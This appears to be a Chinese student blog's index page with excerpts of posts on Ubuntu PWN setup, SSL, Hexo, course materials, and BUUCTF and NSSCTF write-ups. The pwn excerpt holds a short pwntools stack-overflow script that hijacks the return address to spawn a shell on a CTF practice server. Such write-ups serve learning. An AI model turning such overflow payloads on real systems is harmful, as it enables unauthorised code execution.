PWN(BUUCTF)
PWN(BUUCTF)Tipsfind -name flag 有些人喜欢藏flag【微笑】 栈溢出ciscn_2019_n_1【**】 思路 1.直接覆盖,执行bin/sh from pwn import *context(os="linux", arch="amd64", log_level='debug')io = remote("node5.buuoj.cn",26771)# io = process("")padding = b'a'*(0x30+0x8)sys_addr = p64(0x004006BE)payload = padding + sys_addrio.sendline(payload)io.interactive() 2.修改v2的值 Tips:十进制小数转十六进制import struct# 将浮点数打包为IEEE 754格式的二进制数据packed = struct.pack('!f',...
Ubuntu 22.04 安装问题
Ubuntu[22.04] PWN环境搭建本章内容主要源自学长博客内容:学长博客、这个小姐姐的博客也很有帮助 更新、安装vimsudo apt upgradesudo apt install vim 更换镜像源cd /etc/apt # 进入 apt 目录下sudo cp sources.list sources.list.backup # 备份sudo vim sources.list # 编辑 sources.list 文件# 加入下面两个----之间的内容# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiversedeb...
安装配置SSL证书
前言SSL证书是什么SSL证书(Secure Sockets Layer ...
使用Hexo&butterfly制作网站
感谢以下博主的文章指导Jerry [https://butterfly.js.org/posts/dc584b87/]:...
课程资料
说什么报答之恩 日后你惹出祸来 不把师傅说出来就行了 这里都是目前有所收集的课程的期末资料和课程PPT 提供给各位学弟学妹作为参考资料 主要还是自己总结为主 [^22级的培养方案]: 大一上高数A ——讲义高数小老头,讲课听不懂哇啊啊啊啊~~~ 高数A C语言 ——资料&答案吕老师演哑剧挺有一手~哈哈哈哈哈 C语言 计算机科学导论 ——资料杨超老师讲课挺好玩!!! 计科导论 大一下C++ —— PPTC++ 大物 —— 复习题非常好的一个老师,很good!!!捞了很多人 呜呜呜 大物 工程基础 —— PPT&资料课程上学习的内容之后也会用得上!!!要好好学习 工程基础 信息安全导论 —— PPT信安导论 大二上概率论 —— 复习PPT莎姐yyds!!! 概率论 信息安全数学基础 —— PPT&期中要搞数学/密码的同学可以好好学 信安数基 汇编语言程序设计 —— 题库向老师挺有意思,会捞人 汇编 离散数学 —— 复习提纲你巧仙还是你巧仙 离散 大二下计算机组成原理 —— ...
Reverse(以NSSCTF为例)
REVERSE (NSSCTF)TIPSDLL文件用ilspy或者dnspy 1.1求乘法逆元求乘法逆元用invert函数,代码实现: from gmpy2 import invertx = 0xccffbbbbp = 0xffffffff+1print(hex(invert(x, p))) #include<stdio.h>int main(){ int s[]={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81}; for(int i=0;i<11;i++) { s[i]=((s[i]^(0xd3906+0xdeadbeef))-0xdeadc0de)*0x8d61d173; //data[i] = ((data[i] ^ (0xdeadbeef + 0xd3906)) -...